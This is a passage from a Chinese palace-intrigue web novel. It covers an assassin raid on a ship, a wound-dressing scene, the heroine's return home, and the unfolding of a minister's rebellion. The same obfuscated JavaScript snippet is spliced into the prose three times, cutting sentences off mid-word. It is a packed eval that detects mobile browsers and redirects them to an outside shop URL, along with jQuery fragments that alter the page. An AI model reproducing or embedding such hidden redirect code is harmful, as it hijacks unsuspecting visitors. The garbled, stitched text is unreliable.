她一个站不稳,身体朝后倒去,预感到要摔跤,她认命地闭上眼睛,然而想像的疼痛没有到来,她最终落入一个温暖的怀抱。 感受到手掌上滑腻的热意,她惊异地睁开眼睛,然后发现自己正抱着谢烜赫,双手掌心整个贴在他背上,意识到自己眼下处于什么状态,她呼吸一窒,整个人由内而外泛着热意,还有比这更尴尬的场景吗? 她忍不住好奇谢烜赫的反应,便仰头偷瞄他的表情,看到的却是一脸凝重,她疑惑不解,正欲询问,这时耳畔传来了刀剑相击的声音。 好了,不需要再问了,显然是有刺客登船了,刚才那剧烈的晃动估计就是这么闹出来的。 “待在这里哪都别去。”谢烜赫说着将她扶稳站好,接着他松开了手,转身利索地穿好衣服,在她还未彻底回过神来时,便提着剑出去了。 谢烜赫将门关好,然后转头往两边看了看,确保这里没有人之后,他抽出剑往关押梁祖庭的地方蹑步而去。 梁祖庭是梁甫最优秀最得宠的儿子,这个筹码绝不能被截走,否则梁甫将失去牵制,这于他们不利。 刚走到拐弯处,迎面撞上两名身穿黑衣头戴面巾的刺客,他挥动手中斩霄剑,从容应对。 修养了这些日子,他身上的伤已经好了大半,对付起来倒也不难,不过几招,两人轻松被解决了。 跨过尸身他继续朝前走,待要下船仓去,又有几名刺客冲将上来,他持剑迎前刺出,动作快而凌厉,直取要害。 甲板上的战况如何他虽看不见,却也能从兵戈之声听出打斗十分激烈,这种混战的情况下总会有几条漏网之鱼突破防线。 尽管谢煜然派了六名侍卫看守梁祖庭,但是不知刺客武功的深浅,不能大意。 他立在船仓口,与守卫们一同死守住这最后的一道防线,就这么杀了几批人之后,终于见双戒带了一队人马下来援助。 看着最后一名黑衣人倒下,他们继续严阵以待,过了许久,未见有刺客再来,上面似乎也没了打斗声,这才稍微松懈下来。 确定敌人已经全被制服了,谢烜赫不置一词提着剑离开了。 71. 上药 黎书意按照谢烜赫的叮嘱躲在他房中,到底关心外面的情况,她便轻手轻脚走到门后,将耳朵贴在门板上,留心倾听每一声动静。 过道时不时传来杂沓的脚步声,可他们始终没有接近这间屋子,那些刺客直奔底仓,显然一心为救梁祖庭。 终于,在提心吊胆了许久,脚步声和刀剑声渐渐消弭。 她想出去瞧一瞧情况,可又担心发生意外,心下正踌躇不定,忽闻过道有一串脚步声徐徐靠近,她刚放下的心瞬间又提了起来,右手死死捏紧门栓,屏气凝神静听。 “是我。” 熟悉的声音让她卸下防备,她“哗”一下拉开了门,门敞开露出谢烜赫的脸,她急切问道:“怎么样了?” “全被制服了。” 虽是八九不离十的事,得到确切的回答她才真的安定下来。 “那你呢?有没有受伤,伤口有没有撕裂?”她将目光落到谢烜赫身上,尽管并没看到任何划痕,可心里却依旧牵挂。 “还好。” 这回答明显代表着撕裂了,想了想,她说道:“你把衣服脱了,我给你上药。” “你确定?”谢烜赫诧异地看着她。 他这么问显然是因为自己先前的反应,黎书意面色一滞,接着她清了清嗓子,故作轻松道:“非常时期,非常手段,我今天就吃亏一次。” 谢烜赫闻言未再多问,径自抬手解衣服。 上衣在眼前滑落,露出黎书意最开始进屋时瞧见的画面,不同的是裹在身上的白色纱布上如今渗出了些许暗红色血液。 轻咳一声,她走上前去,找到线头后,便动手轻缓地揭开了覆盖在少年身上的纱布,随着纱布的撤下,深浅不一的剑伤映入眼帘,她见状呼吸一窒,心像是被针扎了一下。 旁边小几上有准备好的清水,从里头捞出帕子拧干了,她小心地清洗着裂开的伤口。 将沾了脓血的帕子扔回盆中,她拿起一旁的药瓶,拔开盖子后用食指舀了些许药膏,然而在涂抹前她却迟疑了,因为感到无从下手,这与刚才不同,那时至少隔着一层纱布,现在是直接上手。 为防止尴尬,她从后背开始涂抹,接着移步到少年身侧,处理他胳膊上的伤口,胳膊涂完她转到了正面,那之前困扰她的难题又回来了…… 她手上动作顿住,胸膛这个部位她想让眼前的人自己来,可偷眼向上一瞟,见某人丝毫没有意识到不妥,她觉得自己若真那么说了,就太矫情了,最后便只能硬着头皮上。 深吸一口气,做足心里准备后她缓缓伸出了手,将指尖轻轻落到少年的胸膛上,她不敢抬头,目光也极力避开那些可能会让她脸红心跳的部位。 然而,指尖触碰到那片肌肤时,就像是被电到了一般,带着热度的酥麻直从手上传到心里,她尴尬得要命,热意直从脸上蔓延到耳根和脖颈。 抑制着内心的波动,她开始缠纱布,这一切做完之后她闷闷说了一句“好了”,然后头也不抬,径自挪身把手放入盆中清洗,并连同脏帕子一起洗了。 待拧干净了帕子,她端着盆朝窗口走去,将水朝外泼掉,接着,回身将盆子搁下。 没敢再多逗留,瞥了一眼起身的人,她留下句“你好好养伤”便仓促离开了房间。 看着落荒而逃的倩影,谢烜赫发出一声轻笑,心情愉悦地拉起衣服套上。 像是一条刚过了热水的帕子捂在脸上,黎书意此刻又热又闷,急于需要透气,于是便上甲板去了。 因着距离厮杀结束还不足一刻钟,甲板上的清理工作才做到一半,上去后她看到的是一片狼藉。 地上满是斑驳的血迹和刀剑留下的刻痕,尸体被堆在船沿两边,左边的一摞是刺客的,大约三十来人,右边的一摞是太子亲卫的,数量与前者相当。 目光再向前移,一艘车船映入眼帘,应当是刺客所乘之船,现在他们已经被卫队给占领了,有几人正在四处搜查。 正在远望,谢煜然走了过来,“怎么上来了?” 她收回视线说:“就是有点担心。” “已经没事了。”谢煜然一句话轻松揭过,接着看向她,“不过保险起见,你近几天最好不要出来。” “嗯。”她点头。 原是想透气才来甲板的,结果这里浓重的铁锈味催得她几欲作呕,与谢煜然略说了两句话,她下楼回自己房间了。 经过这一次突袭,所有人都担心会有刺客再来夺人,好在接下来的几日,船上都平安无事。 中途,为了补给和修整,他们曾在邻郡停靠过,在那里谢煜然收到亲信传来的消息,信上说梁甫因为客郡的变故被迫提前造反了,如今已经携党羽逃遁至他的老巢,升卿。 陛下也紧随其后派庞安澈带十万精兵前去平叛,眼下他正自身难保,短期内应该难以分出军力夺回梁祖庭。 又过了两天,黎书意他们顺利抵达孟章北港。 大船驶入码头,一靠岸,船上的卫队便迅速排开,长长的两列队伍从甲板一直延伸到岸上,剩下的一部分人则开始搬运缴获的赃物。 黎书意这边,将军府的随从们也早带着自己的私人物品上甲板了。 站在船上,黎书意的目光从一望无际的大江慢慢移到人烟阜盛的土地上,阔别了两个月,她终于又踏上了这片土地。 出发之前,她曾写了封信给家里,告知了自己要回来的事,所以当在岸上看见黎府的马车时,她丝毫不觉得意外。 走下舷梯,踏上栈桥,她径直朝马车走去。 “哎哟,等了几日,总算是给盼到了。”富春姑姑急切地迎了过来,然后抓着她的手左看看右看看。 见她这般,黎书意笑了,安抚道:“姑姑,我没事。” “没事,怎么能叫没事呢,都杀上府去了!”一提起来,富春姑姑就一阵后怕,顿了一顿,她又问,“听说回来时又遇到刺客了?” “嗯,不过已经被制服了。” 此时,侍从们已经将行李物品搬到马车上了,黎书意侧头看向岸边,那里谢煜然正同前来迎接的孟章令说话,毕竟是趁便坐了他的船,怎么也得道谢。 等两人聊完了,她走上前去,微微欠身道:“这一路多谢太子殿下关照。” 谢煜然眼下正忙,点了一下头,没说什么便放她离开了,黎书意也不在这儿多待,紧跟着登上了马车。 坐在软垫上,她挑开窗帘往外看,船上的搬运工作还未结束,尸体、赃物和物资正源源不断往岸上摆。 她待要收回目光,看见一群侍卫带着几个铐着镣铐的囚犯下船了,最前面的赫然是梁祖庭。 自那日他从姚府被带走以后,黎书意便没再见过他,此刻再看几乎要认不出来,以往的梁祖庭从头到脚一丝不苟,现在却蓬头垢面的。 他们年纪相仿,他从小也是她耳畔响当当的少年俊杰,此情此景,实在令人唏嘘。不过,她不会同情,因为这是梁家人应有的下场。 感慨间,马车动了,黎书意放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545730|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗帘。 回去的路上,富春姑姑问题一个接一个,兰亭向她诉说这一行的惊险,黎书意在旁听得有些无奈,但是心头也有一种历险成功的满足感。 就这么吵吵闹闹间,马车停了,将军府到了。 黎书意躬身走出马车,然后在谢烜赫的搀扶下踏上地面,看着金漆写就的匾额,和门口站着的舒凌寒和天元姑姑等一行人,她心里翻涌着感动。 “欢迎回家。” 听见这话,她含笑踏上台阶。 “快,先来跨火盆。”富春姑姑催促道,接着门口众人开始挪动,让出一条道来,露出了身后的火盆。 看着圆盆里头烧得火红的碳块,黎书意感到无奈,后来想想,自己此行在他们眼中确实算是飞来横祸了。 既然都已经准备了,没道理拒绝,于是便拉起裙摆,抬起左脚从火盆上跨过。 “该你了!”接着,兰亭被富春姑姑推到前面。 然后是毕定边,谢烜赫也未能幸免,最后去客郡的所有人都跨了火盆。 笑看完所有人跨火盆,黎书意这才发现没瞧见叔母的踪影,于是扭头寻找。 富春姑姑看见了,解释说:“赵夫人半月前收到从麒越来的家书,上面说黎副将受伤了,于是夫人便收拾行装去那边了。” 黎书意闻言会心一笑,他们这对小夫妻新婚还不足两年,正是如胶似漆的时候,却总是聚少离多,也难怪要去了。 另一边,搬运工作收尾,谢煜然便被通知说父皇召见他,简单吩咐完,他驱车赶到皇宫,然后直奔御书房。 幽阁深深,御书房里静谧一片,博山炉上烟霭若云,景帝坐在御案前,定定注视着进屋的人。 半晌,他嘴唇轻动,飘然出声:“我们的太子这回可真风光。” 早料到自己会被责怪,谢煜然已经做好了挨骂的准备,他利索地屈膝跪下,低头认错道:“儿臣知罪。” “你知罪,我看你不知!”景帝怒吼一声,将桌上累得高高的折子往前一扔。 “啪!”折子朝谢煜然飞来,坚硬的棱角砸在身上带来几许痛意,他却浑若未觉。 “哼,先斩后奏,你可真能耐。”景帝说着走到太子跟前,“因为你,你看看朕最近收到多少折子。” 谢煜然应声扫了一眼地上的折子,即便看不见里面的内容,他也能猜到几分,大约都是参梁甫的,心里虽觉得自己没错,面上却不显半分。 等头顶的人消气了,他开口解释道:“儿臣本只打算收集证据,等与父皇商量后再做决策,不料被梁祖庭先一步察觉了,这才逼不得已先出手了。” “哼。”景帝冷哼一声,“我看你是为美色所祸。” “儿臣并非意气用事,且不说那名证人是她交给儿臣的,儿臣不能忘恩负义,她更是黎大将军的爱女,她若出事了,待大将军南征归来,如何向他交代?” 景帝自然知晓其中的道理,奈何心中仍是郁气难解,不满斥责道:“梁甫为官二十余载,他手下党羽众多,牵一发而动全身,贸然处理那些朝臣,会导致秩序涣散。” “梁甫已经密谋多年,若从长计议,恐怕到时他早万事俱备,没那么好攻克,只有像如今这般出其不意,才能打他个措手不及。”谢煜然冷静地指出道。 说到这,他顿住,抬眼观察了一下天颜,见父皇的神色比方才好上许多,于是便继续道:“关于梁党,儿臣自然深思熟虑过了,可以先处理中心人物,其他的可以日后慢慢清算。” 72. 问暖 成功让梁甫的阴谋诡计暴露,并且基本做到了全身而退,此去客郡算是顺利,不过,如今安全回到家中,黎书意的心才算彻底落到了实处,这晚她一夜无梦,睡得格外香甜。 次日,她在清雅的香气中悠悠转醒,这一觉将近来积攒的疲乏和愁绪给完全消解了,她只觉通体舒畅。 洗了脸,黎书意走到衣柜前,打开柜门,她将目光落定在那一堆五颜六色的精美华服上,心一闲下来,打扮的心思也就回来了。 最终,她挑了一件绯色交领上襦和一件黄粉提花间色裙,换好了衣服,她在镜台前坐下,让兰亭替她梳发。 头发梳好,她在铜镜里照了照,接着拉开了右边的首饰盒,从里面挑出一对金镶紫英坠子,自己动手佩戴。 “二姑娘,请用早膳。” 刚戴完一边,外间传来清晰悦耳的男声,她闻声而起,一面戴另一只耳环,一面朝外走去。 到了外间,见谢烜赫正在摆早膳,便问:“怎么是你?” “来给你送信,半途遇见送饭的丫头,就代劳了。” 听见“送信”二字,黎书意抢步上前,激动地问:“父兄的来信?” “是。”谢烜赫点头。 将镜台上的东西归置好,兰亭走到外间,矮身行了一礼,便自觉离开了房间。 如今既已知道了时野便是昭王世子,她自然不会再像从前那般责怪他行为失妥了。 到了门外,她将门合拢,然后背过身,安静地立在门前。 房内,谢烜赫从怀里抽出信封递给黎书意,黎书意快速接过,用拆刀拆了信封,便迫不及待地阅看起来。 距离梁祖庭带死士擅闯姚府,梁甫率党羽叛变过去将近半月了,父亲那边定然早得知了个中情况,他们肯定很担心她。 果然,信一展开便是满目的关切问候,兄长问她有没有受伤,外祖母和表姐有没有受到惊吓……虽然只是文字,但透过一句句询问,她依旧能感受到他浓浓的关心。 看着看着,她不由眼热鼻酸,势单力薄苦苦支撑了这许久,她怎会不渴望亲人能陪在身边呢。 想到父兄还记挂着她,她捏着信纸想要站起来,想快一点告诉他们自己一切安好。 奈何身子还未站直,被谢烜赫柔声止住了:“先吃早饭,回信不差这一时半刻。” 闻言,她复又坐下,相隔千里,确实不差这一时半刻,奈何她心中急切,不过最终她还是听话先吃早饭。 将粥用完了,她立刻移步去了书房,谢烜赫早已为她研好墨润好笔,在书案后坐下,从旁侧拿过一张信纸,她开始提笔书写。 这第一句话,自是先告知自己毫发无损,外祖母和表姐也一切都好,接着才叙述起事件经过,为了不让千里之外的两人担忧,那些惊险的时刻被她一笔带过了。 写毕,她将信折好递给谢烜赫,又略微交流了一下接下来的行动,然后他们出了房门。 站在廊下放空了片刻思绪,黎书意朝着兔舍走去,谢烜赫跟在身后。 到墙边,她蹲下身打开兔笼,伸手轻轻摩挲着兔子的绒毛,阔别两月,墨团胖了许多,活脱脱一个蓬松的毛球,顺手从旁拿起两根干草,她朝兔嘴递过去。 谢烜赫在旁蹲下,端详着兔子评价道:“都快瞧不出它原来的模样了。” 黎书意闻声,侧首望向他,得意地邀功道:“那可不,我有在悉心照料。” “它误食老鼠药那次,你为何哭得那般伤心?”谢烜赫忽然转头过来,目光深邃地凝视着她。 她微微一怔,对这突如其来的问题感到意外,避开那灼人的视线,她低头看着眼前这只活蹦乱跳的兔子,良久才轻声说道:“不知为何,当时只觉得,只要它还活着,你便也还在。” 喂了会兔子,黎书意折回房去,兴致忽起,她动手重新装点起阔别两月的小窝,一时间忙得不可开交。 待一切布置妥当,已至晌午,该是用午膳的时候了,她净了手坐到案前。 吃过饭后,她踱步出房,冬阳柔和,小院笼罩在淡金色之中,显得一派温馨宁静。 她想着趁今天下午把书稿和画稿整理好,然后差人送去文心书局,断了两月的《陈冤录》也该为孟章的读者续上了。 打开门走进书房,她在案前坐下,然而才将装着稿子的箱子拿到面前,兰亭走进来向她报说:“二姑娘,姜夫人和林大姑娘来了。” 黎书意本打算过两日就上林府拜访的,不想对方竟先来了,她们定然是担心自己,所以才这般仓促,想到这她只好搁下手边的事情,到暖阁去会客了。 刚走至门口,就见林静仪快步迎过来。 “我无事。”黎书意含笑上前,接着她福身向坐在桌边的姜氏问安,“见过姜伯母。” 兰亭在桌上放好热茶与点心,然后退到一旁侍立,黎书意与林静仪两人则手牵着手走到桌旁落座。 人一坐下,林静仪便嗔怪地望着黎书意,数落道:“去客郡两个月,竟是一封书信都没给我写,你可知道当我听闻梁祖庭带人闯进姚府的消息时,心里有多担心?” 闻言,黎书意乖巧地道歉:“是我的错,只是我当时整颗心都陷在发现秘密的恐慌之中,根本无暇顾及其他。” “哎……”一旁,姜氏疼惜地望着黎书意,“你此行真是受了无妄之灾。” 这是不知情的人对她在这件事中普遍的看法,对此黎书意既不反驳也不解释。 安静了片刻,姜氏开口问道:“对了,传闻只说梁祖庭带了一队人马强闯姚府欲图行刺,其他的并未多提,不知你外祖母可还好?” 黎书意回说:“她老人家身体安好,也未曾受到太大的惊吓,当意识到姚府可能会面临危险以后,我便叫她去鲁府避祸了,她是事后才回来的。” “无事就好。”姜氏点头,神情放松了许多,旋即她抬手将身后的侍女唤到跟前,“我从家中带了些阿胶和燕窝,对安神有好处,你多吃些。” “我做了你喜欢吃的点心。”林静仪在旁追加一句。 虽然早就瞧见侍女手上的礼盒,但是亲耳听到她们这么说,黎书意心中还是忍不住感动,于是连忙道谢:“谢伯母关心。” 姜氏笑了,“我和你母亲交好,如今你父兄在外征战,我关照一下是理所应当的。” 说起礼物,黎书意想起自己初去客郡时就为她们挑了礼物,便唤兰亭:“去把我在客郡买的东西拿上来。” 兰亭应诺而去,黎书意道:“我也有礼物要带给静仪和伯母,原本想通过镖局寄送的,奈何当时忙得顾不上。” 互相收了礼物,黎书意挑起新的话头,问:“对了,我离开孟章两月,这边的情况如何?” 林静仪道:“梁祖庭抓你的消息最先知道的人便是梁甫,那是事发两日后,他正在河鹿查看行宫的建设情况,因为事出突然,甚至连妻妾都未来得及转移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545731|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就直接带上亲随赶往升卿,过了半日,朝廷这边也都得知了情况,再然后消息便在全城传开了,现在整个孟章人心惶惶的。” “梁甫树敌众多,自他叛逃以来,朝臣不断向上递折子,她父亲最近忙得脚不沾地。”姜氏补充道,末了感慨一句,“这条老蛀虫终于可以拔除了。” 说这话时,她神情流露出一丝快意,是啊,黎书意在心中附和,大抵清官和百姓们也都持着这个想法。 不过,对于她来说,事情还远未结束。 三人在暖阁里闲叙了一个时辰方才散了,将母女二人送走,黎书意转回书房开始整理书稿。 …… 车马粼粼,人流如织,皇都的街市喧嚣依旧,或者该说更甚以往,一路走来,谢烜赫的耳朵不时从议论中捕捉到梁甫、造反、大快人心等字眼。 走至巷尾,他拐进毕氏印刷铺,此时店中并无客人,他轻车熟路朝后方走去,直穿过中庭来到后堂。 “见过主人。”一进去,里面的人齐声问好。 谢烜赫看着堂中的人,除了纯钧和方天,还另有一人,他名叫龙胆,是南部据点的分堂主。 颔首应过,谢烜赫在上座落座,然后问纯钧:“近几日朝堂上的情况如何?” “自梁甫谋反之事被揭露以来,那些曾经饱受他欺压迫害的朝臣们都纷纷上折子控诉他的恶行。” “太子那边呢?” “太子回来的当晚便被皇帝召见了,似乎是给骂了一顿,不过最后还是给了他权力,如今正在调查忘忧楼。” 情况和自己料想的差不多,默然片刻,谢烜赫转向另一边的方天道:“升卿那边调查得如何了?” 方天上前两步,将收集整理好的情报双手奉上。 谢烜赫伸手接过,他先展开了最上面的那份,只见地图上清晰地标出了储粮地、军械库,以及郡内各大地势要塞。 接着他展开了第二份,上面精细地绘制着盔甲、刀、枪、剑、戟、弓、弩等武器,种类丰富,功用齐全,比西景大多数军队里配备的要好上许多。 放下情报,他问龙胆:“那边战况如何?“ 龙胆答言:“升卿是梁甫的老巢,那里军备充足,兵力精锐,目前场上战况势均力敌。” 谢烜赫闻言抿唇不语,能在如此短的时间内便集结起与朝廷抗衡的人马,恐怕就算没有这事件的催化,梁甫也离起兵不远了,难怪近几年频频针对将军府。 不过,到底是被动仓促行事,肯定有准备不周的地方,他又怎能不在这时候火上浇油呢? 从鼻子里溢出一声微不可闻的轻哼,他吩咐起来:“方天,你想办法把升卿的地形图透露给庞安澈。龙胆,你想办法把梁党的名单送到林文正手上。” “是!”方天和龙胆两人拱手领命,然后转身离开。 待屋子里只剩下二人,谢烜赫走到书案前,蘸墨润笔着手写信,信是写给黎世伯的,他将自己接下来的计划和部署大概交代了一番。 写完,他从怀里掏出黎书意今早写的家书,然后连同刚才写的那封一同递到纯钧手上,“去送了吧。” 事情交代完,谢烜赫离开了印刷铺,他并没有马上回将军府,而是去了大理寺。 事发将近一年,他还未曾亲眼见过那害得他家破人亡的铁证,起初一段时日是因为担心贸然行动会暴露自己,后来是因为想等找到了幕后凶手再清算,现在便是时候了。 73. 喜讯 夜幕低垂,月华如练,谢烜赫身穿夜行衣,宛如幽影鬼魅穿梭于街巷之间,到了衙署高大的围墙前,他双脚轻点地面,似飞燕掠空,越上了墙头。 衙署里的巡逻兵正手持兵戈沿着院墙缓缓行进着,身上的铠甲在月光照耀下闪烁着冷冽的光泽。 在孟章读书的两年间,谢烜赫曾来过大理寺几回,此前更是派人探查过,对于地形、换防早就摸透了,因此他轻易便找到了漏洞,然后神不知鬼不觉地潜入了证物室。 将门轻轻推开,他闪身进入房中,摸黑行走在木架间,一直走到路的尽头,才终于停下脚步。 四下寂静无声,确定暂时不会有人靠近以后,他点亮了火折子,昏黄的光照亮了面前的一切,他清楚地看到了那一堆铁甲和兵刃。 它们在形态上与西景的军械有细微差别,每一件上面都刻有蛇纹徽记,与他来之前在印刷铺看到的一模一样。 谢烜赫站在那里一动不动,如同一尊凝固的雕塑,他静静盯视着这些宣判父亲谋反的证物,五脏六腑里的血液开始翻腾,就因为这么些东西,平白剥夺了昭王府几百条人命。 梁甫,你强加在昭王府上的,不久后我会百倍千倍奉还于你。 …… 是夜,黎书意躺在床上辗转反侧,有些好奇谢烜赫是出去干什么了。 送走了姜伯母和林静仪,她一直在书房坐到申时,才终于将稿子整理好了,从忙碌中抽身,发现谢烜赫竟然还未回来。 想到兰亭已经知晓了他的身份,如今又是在自己家中,她便打算与他一起吃顿饭的,结果候到饭菜都凉了,人还未归,最后她只好一人吃了。 隔天清晨,梳洗一毕,黎书意便把毕定边唤到跟前,交代他去文心书局送稿子,正说着见谢烜赫走了进来。 心下急于知道他昨晚去哪了,于是等毕定边拿着稿子离开后,她转向谢烜赫问:“你昨晚去哪了?” “大理寺。” “你去那干嘛?” “去确定证物。” 证物,是指证实了昭王谋反的证物吗?黎书意记得是一封书信和五百军甲,虽然武断不好,但她知道大约与梁甫私铸的兵器制式是一致的。 难怪消失了半天,去看定自己父亲之罪的作假之物,他心里应当不好受吧,想到这,她轻声问:“你没事吧?” “没事。”谢烜赫摇头,他要做的是往前看,早些替亲人报仇才是眼下最紧要的事。 …… 早上闲坐赏景,午后品茗看书,偶尔给墨团喂食,黎书意的生活恢复了去客郡前的安宁,不,甚至比那时候还要悠然自得。 梁甫的结局已经是板上钉钉的事,她少了提心吊胆,生活也不如之前忙碌,前几月为了赶稿,她有时不得不整日写作。 然而现在,故事到了中后段,陷入迟滞状态,毕竟现实不是故事,那些激情澎湃的情节不是短期就能发生的,如今没有素材可写,便只能三天打鱼两天晒网了。 这日,她闲来无事,便在暖阁的小条桌前调香,刚将银片放到碳孔上,兰亭急匆匆跑了进来,言语激动道:“二姑娘,发生大事了!” 闻言,她扬起眉毛,带上两分好奇问:“何事?” “二姑娘知道城郊的南箕山吗?” 南箕山,一听这个名字,她便知道兰亭要说的肯定是忘忧楼的事,前两天曾听谢烜赫提起过,说皇帝派谢煜然负责此事。 “二姑娘,您知道嘛,那座荒山下面居然藏着一座金碧辉煌的大楼,楼里不仅有赌场、斗兽场,还有雏子馆,听说很多达官贵人都会偷偷去那里消遣……” 黎书意面色沉静地放下香镊,作为一个在那里待过一天一夜的人,里头的情况她自是无比清楚,便直接问道:“所以到底发生什么了?” “哦,”兰亭停下来,顿了一顿,报告道,“今早太子带了一千人马赶往南箕山,打算毁了那地方。” 想到要摧毁那雕梁画栋的地方,黎书意竟然忍不住肉疼起来,那一锤敲下去可都是钱,不过谢煜然不是铺张浪费的人,大约有用的会收缴归国库吧。 “听说太子赶到时,数不清的戴着面具的贵人像蚂蚁一样从山里涌出,因害怕被人发现身份,一出去便作鸟兽散了,真是表面光风霁月,背地里如同禽兽,坊间都在议论会有谁呢?”兰亭越说越激动,一转头,瞥见二姑娘兴致缺缺,纳罕道,“二姑娘,您怎么没什么反应?” 看着一脸泄气的人,黎书意唇角勾起一抹神秘的笑容,“因为我去过。” “什么?”兰亭不可置信地瞪大了眼睛,“您居然去过忘忧楼。” “嗯。”黎书意点头,“就是你被父亲骂的那会儿。” 闻言,兰亭愣在原地,脑袋空了几息才复又转起来,顺着二姑娘的话她回想了一下那天的情况。 记得当时二姑娘是与昭王世子一起去的,走前特意吩咐她遮掩,两人还彻夜不归,原来他们竟然去了忘忧楼。 虽然先前已经听二姑娘说他们在暗中探查,现在她才深切地认识到这期间他们暗地里是做了多么惊心动魄的事啊…… 清晨,黎书意在小鸟清脆的鸣叫声中苏醒,舒展了一下身体,她下床漱洗弄妆。 面容发髻打理好,在厨房开始摆早膳时,毕定边进来报道:“二姑娘,刚收到消息,昨夜天牢有刺客闯入,欲图营救梁祖庭,不过被制服了。” 听完结果,黎书意满意地笑了,谢煜然不愧是他们的最佳合作对象,防御措施严密,也不知千里之外的梁甫收到营救又失败了的消息,会是何种心情。 总之,她是极快乐的,只可惜了梁祖昂和那些几十房姬妾,竟是完全被放弃了。 一起床便得到如此好消息,真是个不错的开始,待毕定边离开,她心情愉悦地用起了早膳。 谢烜赫一进屋便看见了少女脸上的明媚笑容,随口道:“心情不错?” “嗯,刚听到了一个好消息。” “是梁甫派人劫狱失败的事。” 少女点头。 谢烜赫嘴唇轻扬,在她对面坐下来,温声道:“那再告诉你两个好消息。” “什么?”少女眼含期待地望过来。 “前夜,庞安澈派手下副将率骑兵三千人奇袭茯背,烧毁了梁甫大批粮草,守将也因措手不及,最终死于乱军之中。” 黎书意笑了。 庞安澈有勇无谋,好大喜功,不可能在短期内就取得如此大的胜利,她明白局势会突然间扭转全仰仗于眼前人给的情报。 现如今,对于这个威胁父亲地位的人她并无半分憎恶,平衡势力就平衡吧,他多显赫一分,将军府便多安全一分,她巴不得他能早日伐梁成功。 “那另一个呢?”她接着问。 “麒越那边来信了。”谢烜赫说毕,从怀里抽出信递过来。 黎书意赶忙接过,然后拆了封口,展纸阅看。 信上,父亲庆幸她无事,表明如今梁甫的罪行已经人尽皆知,让她不要再牵涉进去,一切都交给朝廷来决断,并说战事颇顺,目前三路大军已经汇合,修整完便准备迎战部落首领嵇弋,可能再一个月就可以回家了。 得此消息,黎书意心中欢喜非常,不出意外,那个时候梁甫大约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545732|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经被俘,梁党应该也清缴得差不多了,也就是说是该为昭王平反的时候了。 一想到这里,她整个人踌躇满志,捏着信往书房走,“我去回信。” 落笔,她先作了保证,说这一次她不会再涉险,只会专心写完自己的话本,让他们尽管放心,信的末尾,表示期待他们早日归来,好一家团聚。 在翘首等待伐梁战况的时候,将军府收到了一份帖子,帖子是从林府送来的,再过几日是林伯父的寿辰。 眼下父亲出征未归,这责任便落到了黎书意的头上,这头一件事便是挑选贺礼,林伯父是个不爱俗物喜好风雅的文人,最终她从府库里挑了一件前朝大家的书法作品作为礼物。 许久没碰上喜事,参加的又是林府的宴会,她自然认真以待,好生打扮了一番,未时,她带上贺礼登上马车,然后便朝着林府而去。 车子在林府侧门停下,下车后,黎书意一眼就看见了站在门口迎客的林伯父和姜伯母。 她赶紧上前问候二老,再向林伯父道贺,最后送上了自己的生辰礼,礼物被管事接下,一位侍女领着她往院里走。 宴会安排在中庭的花园,林府的花园构造精巧,园中栽植着各季的花花草草,尽管已是深冬,却并不萧索。 只见青砖铺就的空地上,设有六张大圆桌,上面摆着果盘、点心、茶水,寻常家庭碰到此事尚且广摆宴席,达官贵人更是大摆特摆,对于林伯父这个身份地位的人来说,这未免有些寒酸。 不过,黎书意倒也不意外,作为一名纯臣,林伯父对谁都客气,他的密友并不多,今个儿来赴宴的估计九成是亲族。 “你来了。”心下正感慨,听见林静仪带着喜色的声音。 一转头,见林静仪微笑着朝她走来,旁边跟着小丫头林洛初,姐妹相见,三人便闲聊开了。 期间,不时有客人到访,孟章的勋贵圈子就那么大,大部分人黎书意都认识,免不得要寒暄一番。 一来二去,时间悄悄流逝,天色渐晚,到了申时客人便坐了九成,差不多是正宴的时候了。 按照姜伯母的安排,她与林静仪、林洛初等女眷一桌,一排青衣侍女端盘走入宴场,然后有序地布菜,案上水陆毕陈、膏肥黄满。 菜上好以后,林伯父略微说了两句话,然后便开宴了。 才吃了两口,旁边传来一声微弱的叹气声,是林洛初,她皱着脸抱怨道:“今年的寿宴可真没意思。” 豆蔻年华的女孩难免好热闹,黎书意无奈地摇摇头,想她在这个年纪时也是热衷于宴会的。 林静仪听了,小声斥责妹妹:“少说两句,现在时期特殊。” 确实时期特殊,扫了一眼空落落的第六张桌子,黎书意神色暗淡下来,最近与梁甫牵涉的人员悉数被押至孟章,他们轻则面临革职查办,重则面临流放诛杀,结党的结局活生生摆在眼前,众臣难免敏感,哪里敢随便赴宴。 宴会结束得也早,在门口与林家人略寒暄了两句,黎书意便上了马车。 马车上,兰亭叹说:“这寿宴委实冷清了些。” “这没什么不好,总归林伯父也不在乎。”黎书意随口回道。 